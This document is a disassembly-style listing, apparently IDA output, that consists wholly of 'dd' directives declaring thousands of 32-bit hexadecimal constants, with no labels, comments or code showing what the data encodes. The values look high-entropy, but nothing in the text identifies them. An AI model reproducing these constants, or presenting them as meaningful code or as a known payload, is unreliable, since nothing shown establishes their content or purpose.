		dd 0E6C7FD9Bh, 0F96D101Dh, 0D2971B03h, 0C016E343h, 0F094BE05h
		dd 9FD0302Bh, 0C118C449h, 0DBC97400h, 53E8D728h, 73411B0Fh
		dd 7A881D2h, 12CFAA6h, 0F101022Ah, 0A7F8A258h, 3018D0E8h
		dd 0F2F14E17h, 59C087C8h, 7D97A805h, 0E808CF13h, 0F651F92Ch
		dd 10317660h, 85A704h, 97072994h, 118AA3E6h, 9160DA76h
		dd 0B09E7248h, 58CD502Bh, 1C2200D8h, 1B1FE50h, 815CDEEDh
		dd 0D57B189Dh, 0E9D161h, 72310A54h, 0FF737946h,	89A32901h
		dd 2C1F6F4Dh, 0E85BCCCh, 0F8CB1E8Ch, 41EC0093h,	2818D506h
		dd 0A17FF130h, 0A494A8h, 77999526h, 0E5639FDCh,	1EF17B00h
		dd 0E671FDB1h, 8C6C30F3h, 0B54E5630h, 89D77030h, 0BB2E3Ah
		dd 7490FAF1h, 5118C6E7h, 7280820Ah, 79818C19h, 687B1411h
		dd 4C1AF055h, 79049060h, 4687240Bh, 55510952h, 61D0C406h
		dd 0F65D5005h, 0B45FF805h, 2BE45030h, 0A681DACh, 0C08F0049h
		dd 6D6EF989h, 0C6C4A48h, 0E17A6C9Dh, 4EB2A2Bh, 0E98EF0ACh
		dd 8840FBE5h, 1457D522h, 4C43957Bh, 0ECF7FF0Ch,	8560D2A9h
		dd 0E8A3D939h, 0B0283DD4h, 0D1779480h, 0A6BE15FAh, 9D443490h
		dd 34DD0025h, 0A1F310C6h, 0BD0ECC87h, 869F36C9h, 7D59F05Ah
		dd 0AD1500D1h, 0D28B8C73h, 1A141B57h, 7E08AFCh,	0C0FA7AD5h
		dd 0A060B87Ah, 0C6F7F3FFh, 38D57941h, 0DBFB7A0Ah, 0A26ED4F6h
		dd 408DCD25h, 0FAE84B80h, 0B0724946h, 90E4F810h, 3C280058h
		dd 13564FEh
		dd 6A860013h, 0BC504123h, 763FFF42h, 1498F133h,	0A8F0F845h
		dd 98E000E9h, 7AA5446Bh, 0A8A3F93Ah, 8FF23883h,	261BAA80h
		dd 0F89283C9h, 0A0B66231h, 798090D2h, 0D7DD38FCh, 72007523h
		dd 32AB3DB2h, 0C78E04E9h, 48E4F6B1h, 0EA5E8700h, 4806E5EFh
		dd 2D1F3679h, 0C667C018h, 868BF92Bh, 1520FC90h,	0F35A32BDh
		dd 0DA4175E9h, 0F487F8B7h, 9EAFFA1Dh, 0C2890A9h, 0F8D30522h
		dd 0A8E253h, 0FB7DAD7Bh, 636EF151h, 0F8905092h,	0D2287AFCh
		dd 7310D08Bh, 93487531h, 0E871F130h, 51C0EE07h,	3551D58Dh
		dd 1310C9DDh, 6E806008h, 10A18680h, 12E63914h, 0F24CB9FEh
		dd 80B039B0h, 22A4B164h, 0EEC6A75Dh, 1498038Ch,	2AD51D2Dh
		dd 75EC6107h, 5DE4ADC9h, 3215888h, 3B715A45h, 0C38C044Ah
		dd 40B08989h, 627B44D2h, 9FCB400h, 7BC2CC49h, 0A445198Ah
		dd 48F1487Ah, 8E006CB8h, 87CB2597h, 1914E6Ah, 6017B350h
		dd 6E4D6B9Eh, 8A47E06h,	934B3989h, 9A7B8C06h, 4A53E198h
		dd 0FF2300E0h, 7F8685A5h, 0DFA300B8h, 0B00FF137h, 30136C75h
		dd 0E404889Fh, 5A0AEB1Dh, 0CEAE0068h, 55A91995h, 40FF3407h
		dd 4EA2E9FEh, 96284999h, 2F5CB110h, 3314D03h, 0F0143F35h
		dd 120430DCh, 24869681h, 0CBD808E4h, 53611D64h,	72C89B82h
		dd 40E4E221h, 7BF8E072h, 18E96974h, 1116D430h, 0D35B7707h
		dd 51E04CBCh, 0B2321099h, 34D65C9Ch, 0F4801C4Ch, 965787CEh
		dd 51A7B509h, 0D5A48476h, 0F7CA0053h, 0BB1AE185h, 1E483F03h
		dd 0A04676A4h, 7ED926C4h, 708C066h, 0BF399615h,	0DA8C351Eh
		dd 0A2277100h, 2EE23Ah,	9EE9BDD9h, 0E41B0D97h, 4007C130h
		dd 89C580ACh, 2147F0D1h, 64BEB3Dh, 0DF644534h, 0A9863928h
		dd 43D9CF8Fh, 63A79340h, 0F3316189h, 0AE4760BBh, 37C5180h
		dd 0CD5BEB0Ch, 0AE72D93Dh, 8C00C928h, 0DE7B5032h, 0B480065Ah
		dd 79E0CA43h, 5734FD50h, 3900CCE4h, 84960E5Dh, 1DDD99Dh
		dd 0D947499h, 60F726CDh, 0A0C448E4h, 71477E62h,	83880A2Ch
		dd 0AA44A5E7h, 0AC369101h, 0DB9CD5F7h, 33CF8ECh, 661576E3h
		dd 30047FE4h, 0AE438886h, 9891BEC6h, 41A563F3h,	59000CE6h
		dd 67FAC279h, 6F4740F0h, 0BE002192h, 0F91CDF80h, 2D006071h
		dd 6C0B8361h, 181676h, 78AAA95Ah, 4035DDDEh, 0A7A4C8C3h
		dd 71FCD1CBh, 0F093C180h, 0B20EE226h, 0C7116E00h, 5FB9472Bh
		dd 983718FEh, 0B5C49827h, 61006372h, 0E23BF780h, 0C031CB86h
		dd 0EA34C8A1h, 4BB8E940h, 80FB873Ah, 0CEA7F258h, 194D7DBEh
		dd 0B9DEFE1Bh, 0C454D17Eh, 9AFAB2C3h, 0F9420C92h, 9FEC7900h
		dd 0A5E17E06h, 0B51FFA08h, 0FC3AEDh, 0F1A8DFE8h, 0FD7C7F78h
		dd 11C97360h, 9676ECh, 0CD39F4AEh, 0D451E44Ch, 0C38F4Ch
		dd 0E156170Dh, 0A491F81Bh, 0AD3044B0h, 0CC975B00h, 4BB6AE24h
		dd 3A7403FFh, 69437365h, 5DECC8C0h, 10FE2200h, 0D38164B6h
		dd 0E1150170h, 0B1F7FACCh, 445C241Eh, 0E5476544h, 5E9A6981h
		dd 0CC4D2245h, 5D005739h, 0C2E7E012h, 0F8140CA3h, 0E37D6Ch
		dd 0D20D0284h, 0B9B50FE4h, 1B76DA06h, 1A49C3E7h, 0F804C1D5h
		dd 88219006h, 0E1372EC0h, 9095E97Ch, 0AAE705CCh, 8B0DA3h
		dd 12CA5C4h, 220CCC79h,	0A8C45142h, 0F09F0A1Ah,	0AA4392Fh
		dd 838408C8h, 0FDE430C0h, 57A3C08Fh, 8F1E2184h,	7C98F425h
		dd 7084CD9h, 206A308Dh,	0E9F7D061h, 5C002C98h, 42A6A0E1h
		dd 50B8E660h, 129DF8AFh, 4B4A37Bh, 40015F94h, 7E10C816h
		dd 7C624937h, 0CDAF027Ch, 7F8BDFF9h, 0BCE4D482h, 0EC8CAC21h
		dd 72FD298Ch, 9042C89h,	0FCF79966h, 4DC892C0h, 3783005Dh
		dd 3A0D386Dh, 0B700B639h, 124EE0EAh, 81824Bh, 37F3DC27h
		dd 27CE4AAh, 4CACAF1Dh,	98BDB503h, 0DAB08845h, 78EE0060h
		dd 2BA2818Ch, 741C4ABFh, 0A807EECh, 9FEDC24Bh, 10449835h
		dd 48A8FC11h, 0E6B41854h, 48CA4A9h, 0E59ADA7Eh,	0A2648103h
		dd 0FBF020B6h, 441E3F22h, 0D7724506h, 5FDCCB01h, 8A81CC5Dh
		dd 1D65FFC0h, 0E6447629h, 18BD6330h, 0D6E84178h, 94C03E2Ah
		dd 0E8B888F0h, 477030E3h, 560E4499h, 2A9220A1h,	0FCF6CBBDh
		dd 0ABC9028Eh, 7B0F7357h, 0FFE7A8A3h, 7F50C5B0h, 0C993728h
		dd 44477126h, 0D821704Ah, 7C61E712h, 88334099h,	66303F22h
		dd 40BE31F6h, 15DC005Eh, 836FFB70h, 8700DA9Dh, 17E701EBh
		dd 20CBD431h, 22430DEh,	0FB47A4FDh, 8A478E90h, 247DEEB6h
		dd 1E844CD6h, 61030222h, 4C9DE9Fh, 55BA11C6h, 171EAD4h
		dd 5D1B52FEh, 317391C5h, 43D9D780h, 66D45122h, 9CA1811Fh
		dd 0BFC8F3BBh, 7260FCCDh, 59EECC2h, 2808058Ah, 0C8C40839h
		dd 909B3489h, 0C0A9473Ch, 0E8E46F79h, 96007043h, 506535Fh
		dd 286EEF48h, 44DC1618h, 220F9E0Ah, 615A8B40h, 0FA81D72Ch
		dd 0CBB50840h, 0E429C035h, 0DE5469F2h, 4C4ACF00h, 798C516Dh
		dd 0BCB1086Eh, 86801E1Bh, 942BB459h, 0AC8048C8h, 0C8799D14h
		dd 341E4185h, 0D8EC20E0h, 0E800F443h, 0D4196305h, 140A258Eh
		dd 5402AC80h, 54A4E402h, 6C448AA9h, 63B4D500h, 1EEE42FEh
		dd 0BCA507EBh, 0A018D050h, 38CA78D7h, 44F5DC00h, 0FC86FF3Bh
		dd 697E18B4h, 709F41F7h, 35DACF00h, 0AE7BC5CDh,	0ED67FBFh
		dd 3160E60Eh, 37B3E760h, 63162A13h, 40458A69h, 8C8BE51Bh
		dd 0EF7D1E00h, 0BFFEF515h, 0E08B5105h, 0F08C4042h, 0A47679ABh
		dd 45E703A8h, 72DE3F50h, 2DA0C0ECh, 51804B87h, 0A392889Fh
		dd 46471200h, 502BAE6Eh, 0ACC63889h, 80058C52h,	0EF467BFEh
		dd 892BCC82h, 0F2E2809Ch, 384E6462h, 6E12E9C4h,	1FFC0FE4h
		dd 1C83B8ABh, 68C21B1Eh, 0D6B28468h, 0A6D5383Dh, 5F0054A1h
		dd 0B1B0953Bh, 0AD300F3h, 989B1343h, 32F0AFC7h,	450063F4h
		dd 9E19765Dh, 0FAFFC38Dh, 8488A0ECh, 9CD70F68h,	370C2C24h
		dd 545CF9A9h, 47430099h, 9EAAE856h, 342B09E4h, 8C003DA0h
		dd 0DBAF946h, 0A43AC440h, 28CD2C94h, 6D6904F8h,	28710FE8h
		dd 0CB1F8001h, 8B9EB632h, 83A9F70Ah, 0A483D4DBh, 0A035F76h
		dd 0C9D08729h, 3D5A02B4h, 0C960FEA1h, 95E676F6h, 541CAB00h
		dd 65D876Fh, 2077813h, 156ED9Dh, 0B861B533h, 0F0A8D845h
		dd 82F9F24h, 882C0B08h,	0E4497A2h, 0BE8EF240h, 2C032BBDh
		dd 6A32B6C5h, 0F04DA087h, 83980168h, 81A9BFCCh,	0B0B1A69Ch
		dd 7913C611h, 8F703037h, 0BA03E664h, 0E889657Ch, 9C5E1F42h
		dd 337B160Fh, 17D8EF88h, 2000AC12h, 95872CBBh, 0F670BDh
		dd 79D2899h, 0E11BFE08h, 0BECB01Eh, 9F8CEB9Dh, 129D2623h
		dd 20C34302h, 0C2ED6758h, 7B708C63h, 2422C337h,	8B288691h
		dd 0D810CB05h, 0D60E3D9Bh, 209E0196h, 76BC4E59h, 0F832482Ch
		dd 719D78C8h, 98DC11A5h, 44FA8048h, 1900B2C3h, 7FA36BCBh
		dd 0C3C2E245h, 0F089AC19h, 76FDA118h, 0C39C51h,	4C29F13h
		dd 0CE79D53Fh, 3EE1D20Fh, 54C1DC3Ah, 44CB875Eh,	0C6B02030h
		dd 417FFD71h, 4F642A00h, 25E3826Bh, 280EE50h, 97D31F0Dh
		dd 9C405C8Ah, 4A2A63E0h, 9144F8C5h, 4A7C7879h, 492856F0h
		dd 58220E88h, 2B0006A4h, 18CCF3D9h, 28AA55C7h, 80283246h
		dd 0DE046C14h, 562C9C16h, 0B1E568C0h, 0C00E14ECh, 0F82ED01Dh
		dd 88AE4190h, 11D0291Ch, 792EC0E7h, 0AAAF0854h,	1056E264h
		dd 0C2005060h, 9516B317h, 8901CCA9h, 0F6E54E1Ch, 33608179h
		dd 8AC51F9Ch, 5CFE80ACh, 0F4A9E00Fh, 54E47EFCh,	7BCF9A00h
		dd 6043D9BFh, 639305DCh
		dd 0D09677E6h, 0C2A29BB0h, 0BD002091h, 0FDFE7F5Fh, 8FB4A84Bh
		dd 99970082h, 0DEAE74E0h, 2800AD89h, 789B3558h,	39D957AAh
		dd 0F6805A2Eh, 58CFE09h, 0C0966137h, 1B1F2540h,	47E094F3h
		dd 0A2AC84D5h, 7C70004Ch, 885D4A25h, 48A098FAh,	9E3F2067h
		dd 0C8126880h, 254E427h, 0CB18AE73h, 16B0CFFEh,	13E8149Dh
		dd 0B712B408h, 61882973h, 44D808C9h, 48B8A24Dh,	662F09BCh
		dd 34D8231Eh, 9491C461h, 0FDF1482Ah, 0F40A8062h, 1EC7184Ch
		dd 97111D68h, 0B0D850A5h, 9136FD02h, 0E4C64B62h, 0CBBBD400h
		dd 497232A8h, 2F300F8h,	857881C0h, 64148C90h, 6C7B6DBh
		dd 0C4BF7107h, 0E4E6EB50h, 9F3418E8h, 6386912Dh, 4CCC8B5Ch
		dd 0AC250824h, 8056403h, 8DA90B32h, 0ACA44890h,	5E791E1Fh
		dd 239E6E83h, 32487399h, 64C1BBB0h, 5F4EC560h, 8CF56606h
		dd 0A059C454h, 16259C0Ch, 0FA2805Ah, 7EA4E8h, 0DE094513h
		dd 91254A6Bh, 2F001863h, 0E88B2CD6h, 0B044E9A0h, 0F585A700h
		dd 356F65AEh, 476FEB3h,	2FE7EEF7h, 34D0B075h, 0D045984Ah
		dd 0A845AC47h, 0F40055A0h, 13272A81h, 54DF3922h, 0FDFF1880h
		dd 0CB0701EAh, 0DD138F7Ah, 0F417B561h, 5AAC1C40h, 192D3DBh
		dd 90223C41h, 0C880B785h, 72ECFA3Bh, 27CBA509h,	163081B9h
		dd 0E44844A4h, 1CEA0061h, 0F3A2F775h, 6301EE89h, 36FC33B6h
		dd 5C52FADFh, 3EF04466h, 0B581A3C6h, 741E8DA8h,	32A442CBh
		dd 69F8F91Bh, 1D008832h, 62AF5594h, 4F035AF5h, 0D5F334A1h
		dd 0D2EBC838h, 0EA070F4h, 2FE4A590h, 66684A53h,	0A20B1820h
		dd 3B051316h, 6F0E5C21h, 79A9B0C0h, 0FFD80062h,	454FCD72h
		dd 7A136D6Eh, 0A804BBA0h, 7948267Dh, 5ABF2E80h,	186B565h
		dd 36AF4219h, 9791D80Ah, 0A432D530h, 0E6B120C3h, 249AABFDh
		dd 4CFD4898h, 0DA00B4F8h, 522997CFh, 2CCF21Eh, 88DD8B08h
		dd 64510C1Fh, 0BB37CF01h, 8D62CD8h, 0DA800008h,	0AF4B618Bh
		dd 2A165890h, 18818ACBh, 0A03D6734h, 78B6450h, 131DAFCAh
		dd 9AB5B2A5h, 0ACC04605h, 0C987A981h, 64220739h, 2EC2A5C6h
		dd 35F2FC64h, 0E8393003h, 0B1D7489Ah, 0B9D8D847h, 0A67F00C5h
		dd 63090B34h, 39009D7Ch, 939F102Bh, 96209EA2h, 0E8094B74h
		dd 1B667440h, 0B41588h,	86A5D604h, 367FC7DBh, 5A61D100h
		dd 5D515895h, 0A850F744h, 2313282h, 1BD24777h, 74D1B9F1h
		dd 0CC48ED11h, 883B4AC0h, 0A0001735h, 50489562h, 0AD2F1Ah
		dd 0D258366Bh, 2E438880h, 1C089A4Ah, 42B1834Bh,	0C6F176B9h
		dd 375884CBh, 38CC2C60h, 20BA6742h, 909489C5h, 0AE9A5713h
		dd 0D42E004h, 5082790Bh, 5881DEADh, 208C2EDCh, 13A4444h
		dd 948813C6h, 4F9B5008h, 0AAF020B2h, 6F00713Dh,	47B75DBDh
		dd 776D772Ah, 19C8E0CCh, 70419A8Ch, 0E0C9156Ah,	2830C240h
		dd 0B8E57FF6h, 806220C0h, 89E1CB0h, 9F00DC93h, 93FFF4B3h
		dd 0F07E666Bh, 8F4829A4h, 24405A70h, 0CAECACCDh, 0AB7E32BFh
		dd 0F8E08CB8h, 0DF407B1Ah, 0ACC144F1h, 0C81C8650h, 80596331h
		dd 5400DE40h, 0D66C69B6h, 88AFF039h, 533EE90Ch,	9FC19CC9h
		dd 16DC4C80h, 523710A2h, 0E502C445h, 0E6B3E1D5h, 0DE13B844h
		dd 5030AB19h, 0C957BCh,	4697ED0Bh, 0EF02A38Fh, 2F3A410Bh
		dd 67BC00F2h, 2CF3145h,	7E2CD7CDh, 0EC82D659h, 9A21E32Fh
		dd 0A205DF74h, 4CD3000Ch, 7313D2B5h, 6F60E21h, 36A0240Ch
		dd 7934CFB4h, 9C77A104h, 2090D953h, 924C507h, 0FE1B197Bh
		dd 70300844h, 84CB210Eh, 0C87814D3h, 0BE003444h, 176BB310h
		dd 8539599Bh, 6AD9001Fh, 0EEA40597h, 232B021Ah,	0CA9ACBBAh
		dd 0A0B42F0Bh, 1F912F81h, 8C8A06A4h, 0D85D8DDAh, 0C0E05B24h
		dd 3D25A0EFh, 77F98C5Fh, 9B9000C4h, 0CE1E306Bh,	1116B2ABh
		dd 0C044A094h, 0E7400C40h, 0FD78EE42h, 0E0BDA526h, 46CB225h
		dd 40CC7F9Ch, 92A52DDBh, 47763882h, 67027459h, 4086C25Ah
		dd 524041h, 82AF8C80h, 0CF438114h, 0DB70A526h, 0B490FD12h
		dd 0F4F00Dh, 4E53ACE1h,	6A5E9A10h, 0E2A7B107h, 833E44E5h
		dd 0E216589Eh, 0E3B8801Ah, 0F024CA76h, 0E7F50411h, 0C8FD7906h
		dd 91019590h, 7B483EEBh, 0E0CB3AA8h, 89D102h, 90DAF91Ch
		dd 81F5A974h, 45198B07h, 0B991FBEFh, 0C9FC7F69h, 1ECC09ACh
		dd 0A3826CBAh, 0A4725FA4h, 8019103Bh, 0FC83BD86h, 9B5D3Ch
		dd 0E7638F5Ah, 0C0DC160Ch, 5305F178h, 0B6421807h, 61B4BCC2h
		dd 52141E04h, 0EA4B007Ch, 0D66E0350h, 59B50C00h, 0C2470509h
		dd 4F0F3852h, 0E0919801h, 0D8840D73h, 0EC38547Eh, 0E24C7548h
		dd 0E572007Bh, 0ACCF8B9Fh, 81E90084h, 0A67AAE23h, 0AB604491h
		dd 437DF5B9h, 2DFD3E37h, 16B7CE81h, 48CAACB3h, 900986F0h
		dd 64E47E43h, 887D00D4h, 0EABDFF3Bh, 4F078355h,	0B391B469h
		dd 0A89DE9B3h, 5B1A2ACDh, 7DC52A6h, 0C317A58Ch,	4FA0D4E1h
		dd 2202FCDEh, 0BE9C3585h, 493879D9h, 7A29C898h,	97063216h
		dd 9271CA0Eh, 0DC2C5423h, 0A69B3444h, 0AF610B14h, 1E684CC2h
		dd 39190F6h, 0D21E4C7Ch, 0FB1BDEE8h, 0E800994Bh, 3B61CCB2h
		dd 0B938C2ABh, 6C66B5A9h, 2FD0C703h, 0C0DA3269h, 0BEA77C11h
		dd 6E49C09Ch, 5C000375h, 0AA418B25h, 198AEBh, 0E6E76F06h
		dd 0DD088D2Fh, 0CC0D9603h, 0A5FEEE26h, 0A519BB80h, 632B09B2h
		dd 0D448ED45h, 88A46B5Eh, 0A30E78B0h, 82739D7Bh, 0A07AFCE7h
		dd 0DDE33A90h, 0B633033Bh, 41854FB4h, 0FE5CC3B5h, 0C1D771ABh
		dd 683FCBE1h, 0F180C020h, 7BC76AC9h, 0EAE807F9h, 80532047h
		dd 8DE270BEh, 0CC46633Eh, 0E0C09F20h, 74BA10A0h, 558E0EC0h
		dd 0FA475945h, 32FEA7A4h, 587A2B76h, 0E2133403h, 1E79EA9h
		dd 0AA0F4441h, 60E661FEh, 2C4A8734h, 1031C98h, 0A5EA021Dh
		dd 0DD8775D7h, 2472CBh,	390B1955h, 0BE9EA0h, 1318C5CDh
		dd 0C31D277Bh, 0D1987278h, 61889305h, 94D4C10Bh, 2148F022h
		dd 2A58DA79h, 0D5432C20h, 3DF81D4Bh, 0C89A0073h, 635AEF72h
		dd 0BA020493h, 22F683A9h, 588070FDh, 8D6592B9h,	114C75F8h
		dd 940B396Fh, 13A96635h, 8894FB34h, 9340C01Eh, 0B478F1AFh
		dd 0F8990516h, 84EC901Ah, 0E0B88906h, 1112E7A5h, 1044BE66h
		dd 0A488E41Bh, 0BC17025Eh, 0D45B352Eh, 0D8823062h, 0F042E1E4h
		dd 0AF11C0C4h, 8C2E0AC9h, 89A63E7Dh, 0D0C817BCh, 0F1BAF5D4h
		dd 9731609Dh, 94D5000Fh, 0B28AF3E1h, 0E80C1618h, 799344B5h
		dd 0B8A103BEh, 5ADEE146h, 0F41D718Fh, 14A6E03Eh, 7429601h
		dd 0D5F7654h, 0FAD1E710h, 0F8E1D629h, 6C97BF16h, 576843F0h
		dd 697F2640h, 24844080h, 3700DB19h, 8980415Bh, 5CC4A912h
		dd 6909A0CBh, 5C442F36h, 4745CC00h, 26E2D190h, 6189077Eh
		dd 80A24180h, 29F05E86h, 6F19D91Fh, 0CE538C49h,	0FD9E2918h
		dd 0AAF90098h, 0C2E4A8A3h, 9099C8E8h, 0F00A3E82h, 1067E009h
		dd 282A4EB0h, 7A8267ACh, 98894C34h, 0E848C825h,	6300CADBh
		dd 6A789130h, 3C5AE87Eh, 0FB84B8D0h, 874B1172h,	10B22404h
		dd 18152288h, 0B6FFA87Ch, 0F70046D6h, 6C19C07Eh, 488CF0A2h
		dd 18079F73h, 578F1BC3h, 0C8A645CEh, 0B06B638h,	3B447604h
		dd 0CC1F4A89h, 8D4CAC0Ch, 0A244C46Ch, 458718ACh, 0CC4A6037h
		dd 80E82B8Ch, 33C84B18h, 8CA49h, 0FC9E9FBCh, 7CF6A8A0h
		dd 0A5244300h, 35B6CC84h, 4AA4A7Bh, 0D8932778h,	323DE9CCh
		dd 258F87E1h, 0D4F10FC0h, 0CBE01A57h, 4261C00Bh, 0B9968EBBh
		dd 0FB981B00h, 7EA88C62h
		dd 42664A37h, 0B5252EBCh, 0DBA2660h, 6C89F090h,	12CD0883h
		dd 0C87B94C7h, 2D5C7680h, 0E4B1C048h, 9D7FEFh, 0AB162B56h
		dd 0F73B780h, 80A46348h, 1C74011Dh, 2827E869h, 308C5ACh
		dd 0B6B5E703h, 715F49E6h, 68D6D00Bh, 1EFC588h, 28AD3125h
		dd 7CF1BD2Bh, 0B2CC009Ch, 6D146315h, 27810E4Dh,	0F26F56EDh
		dd 5380400Fh, 453398A5h, 7C010D00h, 1343B582h, 6EDA00ACh
		dd 64EFD477h, 0B11F56A8h, 2C01C38Bh, 0FAA47BD1h, 8C2EC8C3h
		dd 847E5466h, 5B4C9086h, 1E64401Ah, 78ADFA27h, 2D009095h
		dd 15E70086h, 0CF5CB4ABh, 5A00A80Ch, 33B111BCh,	0F99424Eh
		dd 8FC89D46h, 0D8600593h, 7DBCB01Dh, 432159F8h,	503890CCh
		dd 695A7B84h, 982EE440h, 78A7FF20h, 809A0424h, 0F50A2A43h
		dd 0C6604208h, 56B2AC22h, 25C76000h, 0AE85743h,	5184B501h
		dd 8F3FBD34h, 0AC8EA0D7h, 826A1252h, 0F30808DBh, 0AB7F7940h
		dd 4F67B76h, 55446AA5h,	83CBC90h, 0DEB866h, 0CE8BDA86h
		dd 5B0BB68Ch, 0A2AC4B61h, 105A4230h, 2A882C9Ah,	44372F63h
		dd 0D9F32811h, 1BDC64A4h, 81BBAD32h, 60C4E6h, 35CC45DDh
		dd 146ABCF6h, 6694BA00h, 0A1248C09h, 5CE70B08h,	884DD29h
		dd 0B044C73Eh, 0D346BC8Eh, 9E5C4B77h, 0E3270090h, 5A43BFE2h
		dd 788C0680h, 30ACA8C4h, 38724102h, 87BCB31h, 0A5802C0h
		dd 0B8504898h, 0BDBE3700h, 0AA8AAFE7h, 0EFB00084h, 0B4ACA49Dh
		dd 3B046EB7h, 369FEC8Bh, 3E47E087h, 0DFD07C47h,	1849069h
		dd 0D78175B5h, 0F25D8A48h, 0AD788840h, 86ABA80Fh, 0EC2B6A2Ah
		dd 377D7F01h, 0A82D7798h, 0DC00A522h, 0AF9C0C1Ch, 0B6E6D5h
		dd 8B411737h, 16F3811Fh, 0D1006674h, 83E9B552h,	9607CFACh
		dd 0C10E3EACh, 0EF477133h, 53BFC0AFh, 30C076B3h, 82A3963Bh
		dd 0E6B701ACh, 89B20670h, 0E0092AFCh, 0BC7A99h,	66C143B6h
		dd 0AE77F108h, 0B52F8C04h, 0A8E9B16Ah, 0D574C322h, 7E542500h
		dd 0FB080FFEh, 1F790216h, 70FDE163h, 5247602Eh,	143B2D9Ch
		dd 0E26F7121h, 50B17509h, 83492480h, 15008611h,	4DF54394h
		dd 3AAFF888h, 0E681B32Ch, 0FD42DBB4h, 0C595FC76h, 92C1D896h
		dd 41E4BF3Eh, 0D3720045h, 0EA09C367h, 0CB5D0AF5h, 37D5032Ch
		dd 0BB63EF13h, 0D34822FCh, 0F81BE713h, 8167A8D0h, 0E4933AFAh
		dd 0FEB7C300h, 9A8C878Bh, 0A21B3706h, 32F91E7Dh, 16485942h
		dd 5A88E52Fh, 2C7880C1h, 50E2A01Ch, 0B07F4700h,	3C62EB04h
		dd 589A2E98h, 74142FFCh, 577B0300h, 1AC98197h, 45F001Dh
		dd 9BFB364Dh, 7626A562h, 6643542Eh, 114100E3h, 818EAFFDh
		dd 0C35AB1CEh, 0CAB8AC20h, 0DD47009Dh, 0FCA7E785h, 0B308DB5Dh
		dd 83011BBCh, 0F6BFF51Eh, 5C0800A5h, 0AD7F96E5h, 342B7612h
		dd 240068B2h, 4F578660h, 0B200F940h, 0A5EEF769h, 0A716428h
		dd 68BE5F11h, 82AA17BCh, 78D9C0CCh, 78627F00h, 260D95BEh
		dd 2366970h, 0F161375Eh, 4300B07Ah, 3E8ED6F3h, 0B9AC1BADh
		dd 64C680ECh, 0A5491029h, 7A7C875Ch, 26C05748h,	8000009Fh
		dd 0D37F7B20h, 548C242Ah, 0C7CA0130h, 70BAA574h, 0EF67848h
		dd 19C240Eh, 81D74475h,	62812CECh, 0D0C6B9CFh, 91076ADBh
		dd 0BB3DEAF3h, 6BB38170h, 0BC2CB088h, 0FD8A80C8h, 13568F2h
		dd 78F43Fh, 0DDA9923Ch,	2954AC3Fh, 249CCECBh, 76C71178h
		dd 76B5A307h, 0E9C2FE88h, 92864E5h, 0C3A9CBE1h,	4F554CA0h
		dd 7500A024h, 0A802097Dh, 0C029492Dh, 9AFFC1B4h, 2E609774h
		dd 0C6612110h, 0AF1F0012h, 0FC8D3307h, 0D11D9E94h, 0A8806A49h
		dd 0A4E5C59Ch, 579302E1h, 8CA98AEDh, 427C48C4h,	0A5790D03h
		dd 8F1BD5A2h, 10909944h, 0B4EEB5ACh, 40AE44C4h,	38906D63h
		dd 0C9300078h, 58E4DC31h, 9B0CFD4h, 8B64160Ah, 0E640C4D3h
		dd 9DD4489h, 0E0AA7A84h, 22794A5h, 0D850280Ch, 457A4CE4h
		dd 0F4061903h, 0C211C064h, 0C20880ECh, 5A54AE39h, 8A835A9h
		dd 9E800D60h, 65696127h, 282C7083h, 708FF81h, 45197E8Fh
		dd 0D0561025h, 0D4FA606Ch, 0E5E12160h, 4A1BE1D6h, 797040F0h
		dd 8A3719C7h, 0B4B7EB16h, 88126C09h, 0FB08EC12h, 115982DDh
		dd 5844445Ah, 0B936C302h, 4BA257Dh, 94B9CBh, 0F8D14F41h
		dd 0AFA863h, 386C816Ah,	0F9C808ACh, 0BC89C89Bh,	28E8D079h
		dd 26CC54C5h, 0BF805D8h, 0E0E8697Eh, 513ED67Ch,	0A017093h
		dd 0E3FE2D33h, 80396637h, 40F8472Ch, 0AE680CBh,	0B76D750Fh
		dd 99480C8Ch, 209F6E7h,	0D8F3D153h, 38606425h, 1F880141h
		dd 0C3A01944h, 40F4F805h, 67FC7144h, 438E69C0h,	998A12h
		dd 80EDA5B8h, 4963377Bh, 685E21C9h, 38769198h, 8887F1A8h
		dd 314C9F2Eh, 0ECBFE123h, 344F9DD5h, 1BC770C1h,	558B6983h
		dd 4100AD47h, 34E6466Dh, 0E098DF6h, 206E5FA1h, 0D8862480h
		dd 0AB00E81Ch, 0E4DDE970h, 659EDFA5h, 0C54638A6h, 8CA20Ch
		dd 0BD06D44Ah, 68C39Fh,	8F77C68Dh, 0E13EB160h, 0F8438601h
		dd 0E6854796h, 0DB44888h, 76803281h, 0D9020145h, 0AD643471h
		dd 0F06A6304h, 42804B4Ch, 0C7902F15h, 0E67E8418h, 9D94D654h
		dd 66A36B0Ah, 9880F019h, 0B140DD0Fh, 0B66E0743h, 51B8F5F0h
		dd 2A1E9CB5h, 9DEE6020h, 0E0CFE075h, 14EA39CEh,	0C589B000h
		dd 8D84C48Fh, 690A0814h, 4400762Ch, 121D6EC0h, 24748316h
		dd 2C8E5EAEh, 9CC104ABh, 0CF48A83Ah, 706480CDh,	346B216h
		dd 5EB442F1h, 0EAB84769h, 5BB8D179h, 2F54EE48h,	0FBF8199Ah
		dd 1D165908h, 0C81F8F64h, 0FF437105h, 88E26888h, 8BFE4CFBh
		dd 9A5B640Dh, 8F15069h,	0E322602Dh, 96C358C8h, 43D9E1D5h
		dd 20171A40h, 54CC6334h, 60ACBCFEh, 41B3DD16h, 0C1976B00h
		dd 20E2CA6h, 0E15B16D5h, 63FC08CDh, 3020931Ch, 0E2A909E6h
		dd 0D0000566h, 0B2925998h, 0B80D88D5h, 0E4675900h, 282BA400h
		dd 7226A505h, 0A0ABAA2Ah, 0B340B4B4h, 3EB43208h, 60D99967h
		dd 12D08A4Bh, 48E7ED45h, 84A0CB27h, 185F71CDh, 69C2C132h
		dd 76D122ADh, 0E00550F3h, 481CA679h, 0E750186Fh, 63872CD5h
		dd 7EE20900h, 0BDB71018h, 39F52200h, 84662F1Fh,	0FD5100EDh
		dd 8D018CB5h, 0DE4FFBAh, 0F9449197h, 4E4EC84Ch,	7B48410Ch
		dd 20C2AE13h, 0B90517B3h, 0B46C8EF3h, 74A834D4h, 4CC0C34Bh
		dd 50D98800h, 0DCE1104Eh, 5A4400F2h, 0B7C686EFh, 3C90F0BEh
		dd 13009490h, 5B8164EDh, 0B9E13F3Ch, 0DE668828h, 0D66E5705h
		dd 38043CF2h, 0B29F3756h, 8D250554h, 58AC7E85h,	0CF5E2F03h
		dd 0BDE08FE3h, 977C99B5h, 0FBA41095h, 456E02A8h, 1D42B4A5h
